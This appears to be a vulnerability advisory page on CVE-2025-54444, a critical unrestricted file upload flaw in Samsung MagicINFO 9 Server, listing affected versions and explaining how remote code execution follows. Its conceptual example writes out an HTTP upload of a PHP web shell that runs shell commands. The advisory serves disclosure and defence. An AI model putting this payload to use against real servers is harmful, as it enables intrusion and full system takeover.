Overview
The Common Vulnerabilities and Exposures (CVE) system provides a reference-method for publicly known information-security vulnerabilities and exposures. CVE-2025-54444 points to a critical vulnerability in Samsung Electronics’ MagicINFO 9 Server. This vulnerability is characterized by an unrestricted file upload that could potentially lead to code injection.
MagicINFO 9 Server is a comprehensive solution for managing digital signage content, and this vulnerability could potentially impact any organization using this platform. The severity of this vulnerability lies in its potential to compromise systems and leak sensitive data, thereby disrupting an organization’s operations and potentially leading to significant financial and reputational damage.
Vulnerability Summary
CVE ID: CVE-2025-54444
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage
Affected Products
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Product | Affected Versions
Samsung Electronics MagicINFO 9 Server | Less than 21.1080.0
How the Exploit Works
The vulnerability exploits a flaw in the file upload functionality of the MagicINFO 9 Server. It allows an attacker to upload a file of a dangerous type, such as an executable or script file, without any restriction. Once the file is uploaded, it can be executed on the server, leading to remote code execution. This could potentially allow an attacker to take full control of the system or leak sensitive data.
Conceptual Example Code
Here’s a conceptual example of how this vulnerability could be exploited:
POST /upload_endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/octet-stream
Content-Disposition: form-data; name="file"; filename="exploit.php"
<?php
// malicious PHP code
system($_GET['cmd']);
?>In this conceptual example, the attacker is sending a POST request to the upload endpoint of the server, uploading a PHP file containing malicious code. When this file is executed on the server, it allows the attacker to execute arbitrary system commands.